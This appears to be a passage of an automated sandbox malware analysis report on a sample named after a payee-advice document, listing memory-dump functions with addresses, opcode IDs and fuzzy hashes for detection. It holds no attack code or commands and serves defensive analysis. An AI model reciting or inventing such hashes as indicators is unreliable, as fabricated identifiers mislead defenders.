Instruction Fuzzy Hash: B3317E31204209DFCF15AFA4DC94AAE7BA2FB88310F518025F91597255CB35DE61DFA0

Function 3A818461 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20bef9739a744ec50fcd93aae6c079515f3f8d27e572f292708bd982f9bf02c5
Instruction ID: 0860070dc9c4aa7af01ca34ff739cccf55c473ff42381946ea912393f59fc1e4
Opcode Fuzzy Hash: 20bef9739a744ec50fcd93aae6c079515f3f8d27e572f292708bd982f9bf02c5
Instruction Fuzzy Hash: A631F1B5E046088BEB18DFAAD8806DDBBF2BF89300F14D42AD419BB254EB345946CF55

Function 3A8070AF Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e864216d9babd903fa464f6808aa5147b86f9f144081a963014e52454f9d5d
Instruction ID: 2f052756fea29154f6a7b7a5c5f32674cfccf6f047bef744c6ea5af83592b3b5
Opcode Fuzzy Hash: d6e864216d9babd903fa464f6808aa5147b86f9f144081a963014e52454f9d5d
Instruction Fuzzy Hash: C9311270E042089BEB08DFEAD8406DDBBF2BF8A300F54D12AC418BB254EB315946CF51

Function 3A8073D0 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bcfb43f207ae85b0b886cba225630db7f99e9c9d2f7cd1cc537c1cde974d574
Instruction ID: c5eaf62e5b45888fc77d3391de4f242a3e2f5a0c0a422a97d0d31b8a2b0f311e
Opcode Fuzzy Hash: 9bcfb43f207ae85b0b886cba225630db7f99e9c9d2f7cd1cc537c1cde974d574
Instruction Fuzzy Hash: F4311474E056489FDB09DFBAC9406DDBBF2AF8A300F24D12AC418BB254EB359946CF50

Function 3A80D401 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145ce91956fba551b3ae3313f34358910e5a3e46cbe86ec5dbd76c59c7183d9c
Instruction ID: 61b2e836d18e4c42149e970bd9d0717ec1e175661efd9d85df2463257a21c208
Opcode Fuzzy Hash: 145ce91956fba551b3ae3313f34358910e5a3e46cbe86ec5dbd76c59c7183d9c
Instruction Fuzzy Hash: E43102B0E052489FDB05DFBAC9406DDBBF2AF8A304F24D12AC418BB254EB355946CF54

Function 3A8121A7 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c62845bbedf6c11d01d1a1278663ff5f72d74bbbd6e5ff1fcdc02de8538d1c3
Instruction ID: a4740da9fbffcd866f6115bb860b043cdbcabadc309c2f913d1340e71d9098dc
Opcode Fuzzy Hash: 0c62845bbedf6c11d01d1a1278663ff5f72d74bbbd6e5ff1fcdc02de8538d1c3
Instruction Fuzzy Hash: 4A310570E052488FDB08DFAAD9506DEBBF3AF89300F64D02AC458BB264EB355946CF51

Function 3A8181DB Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6e75719161187e12700581ba28c5028ddf0d2ce5a271764add9ee0633f0fff
Instruction ID: 09964b12b752d588a4e4db97aa706757cc23c3aeca09a97cae3f920fb0b8422c
Opcode Fuzzy Hash: 4c6e75719161187e12700581ba28c5028ddf0d2ce5a271764add9ee0633f0fff
Instruction Fuzzy Hash: 63311575E052088FEB04DFAAD9806DEBBF3AF89300F64D42AC418BB254DB395902CF55

Function 39EFFC5B Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14354849d0ef71ca569aa3efc212ba10b73d2ceb3f1c3770138f0ece93f567f8
Instruction ID: a213c9ca6f35e75c49beff47c7077e97cbc2e6baa6ac1426c90b11d5229adac6
Opcode Fuzzy Hash: 14354849d0ef71ca569aa3efc212ba10b73d2ceb3f1c3770138f0ece93f567f8
Instruction Fuzzy Hash: 1B311274E012588BEB08DFEAD8406DDBBF2BF89300F10D46AD419BB254EB355906CF54

Function 3A814A3A Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23bd5a2ea4b6fb431109623badccb1e6571c9ff71063791c1175782d7a45774a
Instruction ID: 8ff599cbb715900c117cab57e219212c1fc4e06f865ab9b5e44c65fed2359452
Opcode Fuzzy Hash: 23bd5a2ea4b6fb431109623badccb1e6571c9ff71063791c1175782d7a45774a
Instruction Fuzzy Hash: F931A0B4E01208CFDB08DFAAD5906DDBBF2AF89300F64D12AC419BB254DB355946CF55

Function 00168380 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e3cf21548b77f2687538dee39e23d275bdade08873038f84f3799e825a5c6da
Instruction ID: f1cf006fbaf9ef18e8b3d8f2fd0255a5592945efaedd6f67713d5fedb7c7e01f
Opcode Fuzzy Hash: 4e3cf21548b77f2687538dee39e23d275bdade08873038f84f3799e825a5c6da
Instruction Fuzzy Hash: DE21BE303042028BDB286B29CC9473E3696EFD4748F248139D506CB7A9EF75CC92D392

Function 3A814A29 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 374d84ced3f1dce0073458fcd57942addc1b696a07d4fc6d411cc364120cb0e1
Instruction ID: 9b660e35ed6459422f67323ffa418d68f8409c668d26e21b39f956b98ddcc30c
Opcode Fuzzy Hash: 374d84ced3f1dce0073458fcd57942addc1b696a07d4fc6d411cc364120cb0e1
Instruction Fuzzy Hash: 3F31E3B4E052088FDB04DFE9D5906DDBBF2AF99300F64912AC418BB254DB319A46CF54

Function 3A80EBE3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49945803b4f4c0a75378df869b21acb273e2c51ecd055c880b460c2dbac4d2e7
Instruction ID: 8ba89ef21141741f9ea898c2458de0ee7c2940ea7c71011df262bc7a4fd20873
Opcode Fuzzy Hash: 49945803b4f4c0a75378df869b21acb273e2c51ecd055c880b460c2dbac4d2e7
Instruction Fuzzy Hash: 81219CB1E04225AFCB54DFB8D85459E7BF1AF89311B1141AAD88AE7360EB3589028F90

Function 001628F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a41cf2c4da1376d746fd0cfadf4a5e96e47d5c18d56724d7167ad54397eaa8e
Instruction ID: b322ba035d3ab723dc043041bb10dbf9f84f144eaf01dcbc683a23df2f0d8a2a
Opcode Fuzzy Hash: 8a41cf2c4da1376d746fd0cfadf4a5e96e47d5c18d56724d7167ad54397eaa8e
Instruction Fuzzy Hash: 17216035A005259FCB24DF64C8409AE77A5EBED368F24C059D8199B280DB35EE47CBD2

Function 0009D554 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3322936281.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c9484b129b32b4c108829c4ec359077f844cf1a356a149396793726cfbfc5d8
Instruction ID: 0abd2435472032c1870b240d54bb2b59d0b440ab4a11ac0bc3003d896f528dca
Opcode Fuzzy Hash: 8c9484b129b32b4c108829c4ec359077f844cf1a356a149396793726cfbfc5d8
Instruction Fuzzy Hash: 6721F5B1544240EFDF15DF14D9C0B2ABFA5FB98318F24C56AE9090B246C336D856EBA2

Function 00166300 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e9ecca380c1f29ce0aec02fb7d811cde2939cbd7ab8eb4264fcf059cdfedeeb
Instruction ID: 0d0662e9ce2e359bf78339bf4cb645c96fd9d2d3b980b8df063fd7b3b36f9b83
Opcode Fuzzy Hash: 2e9ecca380c1f29ce0aec02fb7d811cde2939cbd7ab8eb4264fcf059cdfedeeb
Instruction Fuzzy Hash: D321E1357006118FC7299B2ADCA493EB7A2FFCA7557154578E80ADB7A8CF30DC028B90

Function 000AD044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3322978565.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5bd64325239580bc76d675daf148ba1d5532002b1499d4e994ac98f34d72223
Instruction ID: f2d26b6a8f9df0ee880e628e4fdfef13366fa053b00613426a973822727ee049
Opcode Fuzzy Hash: e5bd64325239580bc76d675daf148ba1d5532002b1499d4e994ac98f34d72223
Instruction Fuzzy Hash: 3B2107B1504204EFDB14CF64D9C4F26BBA5FB85314F34CA6EE94A4B641C73AD846CA61

Function 00164285 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb35a86f41969a1d58c82a79453d51cd3661b9711a73179857d385d8afd135ef
Instruction ID: 99e1bb8ca8edf6871d6b57ff3b9193c63e163f511919486055e343ac95350406
Opcode Fuzzy Hash: eb35a86f41969a1d58c82a79453d51cd3661b9711a73179857d385d8afd135ef
Instruction Fuzzy Hash: 70319474E11218DFCB54DFB8D59489DBBB2FF49314B2080A9E819AB364D731AD42CF41

Function 0016AEF0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef1cfd9b10769c590d18f5a8eadb9db8096fd1fecf5e0651be16e12a6be9fa79
Instruction ID: 847972d87730c8079b5ac2baee60b61a501cda02d440e68f65ba00511b98c461
Opcode Fuzzy Hash: ef1cfd9b10769c590d18f5a8eadb9db8096fd1fecf5e0651be16e12a6be9fa79
Instruction Fuzzy Hash: 4621A272B002049BCB148F64DC84AEEBBB6FF8C711F144169F915A7250DB31AD51CB91

Function 00169761 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 882f0667289a7e9e87344d3a48854c6421ef423c86a00da16d90b98262445706
Instruction ID: f71fdd0d399a457cd46ac3a050e223915cd3b7372c6325f5029c0f414c943eb2
Opcode Fuzzy Hash: 882f0667289a7e9e87344d3a48854c6421ef423c86a00da16d90b98262445706
Instruction Fuzzy Hash: 3D217A70E0024C9FCB15CFA5D990AEEBFBAAF49304F248069E411B7290DB34DA81DF60

Function 39EF4632 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f0b290ad3ef7faa44404b0841e91beb46d1456050e2508a6041f6f7969b22df
Instruction ID: 12d1d9c68e072c450679f67715b233250aae971800361b6da3835d70f7b53212
Opcode Fuzzy Hash: 5f0b290ad3ef7faa44404b0841e91beb46d1456050e2508a6041f6f7969b22df
Instruction Fuzzy Hash: CC119736305A008FC704DF69D598E56BBE2FF89765B2284BAE10ACB371DA71EC40CB51

Function 39EF992C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ac93bfa117c22d7fcf877b4bed77ee615b6c14be6ad1b977d978cd14ff4b6c9
Instruction ID: ba9481a90d7603221ff609808903fb1031e74e6d92b1dedf88628dea043db152
Opcode Fuzzy Hash: 0ac93bfa117c22d7fcf877b4bed77ee615b6c14be6ad1b977d978cd14ff4b6c9
Instruction Fuzzy Hash: D3117F78E012098FDB04EFA8D884AADBBB5FF88304F51C156E845A7241DB31AD41CB55

Function 39EF4C00 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78e8ce4d84de479b2544b9cda80047dcca25d0e086f9bfdf600c2bd8715baa0a
Instruction ID: 6bb1c0ec26501a165f816e1de223ecd8620f8a1bb89f15dadac76bc9bb2b1636
Opcode Fuzzy Hash: 78e8ce4d84de479b2544b9cda80047dcca25d0e086f9bfdf600c2bd8715baa0a
Instruction Fuzzy Hash: 15118676E053199FDB10EFBCC55459EBBF6AB48250B46513AD406A7200FF329D41CBE1

Function 001627F0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc5d0bfedefea7bb77032e8ff1ae36df901c49a40da4e2b79216934c6410ccd
Instruction ID: 809bcc2a84d013766815bb16fb13134dfdf77260017228219c682c974b1e22fb
Opcode Fuzzy Hash: 2fc5d0bfedefea7bb77032e8ff1ae36df901c49a40da4e2b79216934c6410ccd
Instruction Fuzzy Hash: 1621EE74D0520A8FCB41EFB8D8445EEBFF4BF4A300F1452AAD805B3220EB345A85CBA1

Function 0009D54F Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3322936281.000000000009D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0009D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_9d000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a20f9815325a19bacdbbc074a56392c18f7e639a2475312e7aabdd8dd4e998
Instruction ID: de86c7cadb0b53ab3917b8730aef429ad8f839b3f099b08f07b860768aa4b4a8
Opcode Fuzzy Hash: 76a20f9815325a19bacdbbc074a56392c18f7e639a2475312e7aabdd8dd4e998
Instruction Fuzzy Hash: 2B112676544280CFCF02CF14D5C4B16BFB1FB94314F24C5AAD8490B616C336D85ADBA2

Function 0016EB65 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34d31fb6ca9bcfbb43ef4461de9141721162a3748ab85721c716cf46bda769d1
Instruction ID: 10ccd1b67bbcf12290cc397e1a982941a7b96114bccfc3005278abd31e640574
Opcode Fuzzy Hash: 34d31fb6ca9bcfbb43ef4461de9141721162a3748ab85721c716cf46bda769d1
Instruction Fuzzy Hash: 19216B78E00229CFDB64DFA8D984B9DBBB1BF49304F1091A9D909A7351DB30AE85CF40

Function 3A80EC8B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37e843a0ff6b0975f7878dd8fc8df03e51c46bd544e83e91253c0a2743a1c7e9
Instruction ID: 8a1f0c7cfce44c722dfb85897653c193fb90f0c7786f5d98e1034df2b9c91b04
Opcode Fuzzy Hash: 37e843a0ff6b0975f7878dd8fc8df03e51c46bd544e83e91253c0a2743a1c7e9
Instruction Fuzzy Hash: 5F014975B04214AFCB10DB7CE8088CA7BF2EF89361B0101A5E885D7360DA31CC028FA1

Function 000AD03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3322978565.00000000000AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 000AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_ad000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1a2d9f3479678a4f49895f69b5d62c7b977d622d226a875df265cd7dda20fe
Instruction ID: cb06e4923bd51bf6ceec92b742750b93ef5030a9a4929476707be2342cf7e502
Opcode Fuzzy Hash: 7a1a2d9f3479678a4f49895f69b5d62c7b977d622d226a875df265cd7dda20fe
Instruction Fuzzy Hash: 2411D075504244DFCB11CF50D5C4B15BBA1FB45314F24C6AED84A4BA52C33AD84ACF52

Function 00165E98 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e055312317b7f0ec0818484c2e707cb1cbf61e76789bef6cc5a5f6ce7c84c71
Instruction ID: e61ca95f2185eb5eaf8a1b79a2b5a29ddccded7d9659e85b8488ae993c5a5d7d
Opcode Fuzzy Hash: 8e055312317b7f0ec0818484c2e707cb1cbf61e76789bef6cc5a5f6ce7c84c71
Instruction Fuzzy Hash: AF01F932B042445BCB059B689C5069E7FA7DBC9750F144055F904D7251CB328F219791

Function 39EF44CF Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 372fcdc725381fb8711588ec9de1ec933396349fb3fce754ef30773abee1a048
Instruction ID: 9e29bf5ff1afabcddf66953cbb5ccd6a571977eed3ccb5eccf2c0768b2dc74b6
Opcode Fuzzy Hash: 372fcdc725381fb8711588ec9de1ec933396349fb3fce754ef30773abee1a048
Instruction Fuzzy Hash: 9A019276A00205DFCB50DFA9D9418DEBBF5FF98390B11413BE505D3610E7309A62CB91

Function 39EF49E0 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 804dc00652a9fd04c3e65e8c0120494e6e58592b4b38a37b7e11373243da6288
Instruction ID: 080d4398555a209bc54bf1a80e2e327681e4942d3d4e58330f95a23c04ed24a0
Opcode Fuzzy Hash: 804dc00652a9fd04c3e65e8c0120494e6e58592b4b38a37b7e11373243da6288
Instruction Fuzzy Hash: A401FC356093D4DFC7066B789A2846C3FB6EBCB31171540BBE106CB3A1DA358D82C761

Function 39EF3248 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 384a6a677599ba9e1e426fbea7e2c1589b77f29e77a8dd88ab02b6c8a9853e71
Instruction ID: 980a6a7c0418a58185033935a4a266d851bddb6486a5c1d32abb43add78b6a75
Opcode Fuzzy Hash: 384a6a677599ba9e1e426fbea7e2c1589b77f29e77a8dd88ab02b6c8a9853e71
Instruction Fuzzy Hash: 4801CC31E00209EFDB10AF64DA549AE7BB6FB8D390B01403EE81AA3210D7308A51CFA1

Function 39EF4640 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8be75059be2736951cbd150b592fdd480a58ebf74ab4e407de220a309b4e1407
Instruction ID: 9c30b17e8df406f8839ce5fd11699de02d7e36adbab109907be9f47b4b11daf4
Opcode Fuzzy Hash: 8be75059be2736951cbd150b592fdd480a58ebf74ab4e407de220a309b4e1407
Instruction Fuzzy Hash: 11017C36305A008FD704DF29D588E56B7E5FF89769F22847AE14ACB761DA71EC00CB61

Function 39EF3258 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9cb7bbc464825ba85d172a0d9e55104e2553aad60f9f02b0aefcf72ecd5b423
Instruction ID: 4605e13cfb0241d88435b28ecd58d7bd0c6c5b26f3cacb5b0146ea916f428a36
Opcode Fuzzy Hash: f9cb7bbc464825ba85d172a0d9e55104e2553aad60f9f02b0aefcf72ecd5b423
Instruction Fuzzy Hash: 7D015E35E0025DEFDF549F78D8589AE7BBAFB8C390B004439E91BA3240DB309911CBA1

Function 0016E8E8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90151d60e08759e555c59117b33dc280601d02d2bf8d85576d1eb197a303507c
Instruction ID: 5af7107926ac16e16dae9a1034a0686d3396250bf01473d292030ef2f2689815
Opcode Fuzzy Hash: 90151d60e08759e555c59117b33dc280601d02d2bf8d85576d1eb197a303507c
Instruction Fuzzy Hash: 6A111B74D0424A9FDB01CFA8C8545AEFBB1FF8A305F0041A5D914A3351E7755A16CB91

Function 0016ABE0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5a0d28e4fe77b7bacf5a3af78154938b374431c386ff5bccabf74a168ba84f
Instruction ID: a39ac448ca6ee77967925deb0a26e5d1efca528c1f64f8b6078d225b2fc38526
Opcode Fuzzy Hash: 2f5a0d28e4fe77b7bacf5a3af78154938b374431c386ff5bccabf74a168ba84f
Instruction Fuzzy Hash: 7EF0BB313006104BC7155A2EDC54A2EB7DEEFC9B553994079E909DB371EF21CC538B91

Function 39EF4C98 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84d3e859bcce24ba19c05f9be4342cff96aa2e08377440ed7d4af61fab80a375
Instruction ID: d3adb129bdc8060353760d715f723dfc4c02c57d7b401076566a183f6b985361
Opcode Fuzzy Hash: 84d3e859bcce24ba19c05f9be4342cff96aa2e08377440ed7d4af61fab80a375
Instruction Fuzzy Hash: C7F0F632B086108FD7068B28A4249AEBBB6EFC566470650ABE009C7360EB32CC02C790

Function 3A80EB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6a35d528c990afb0e1fcd8be6d8b64f742f601809017efdbe2e13aa92db4967
Instruction ID: 270517b9ff1cb059bbccde4992a3f6a7fc27200285512e5b9b92e85550879a81
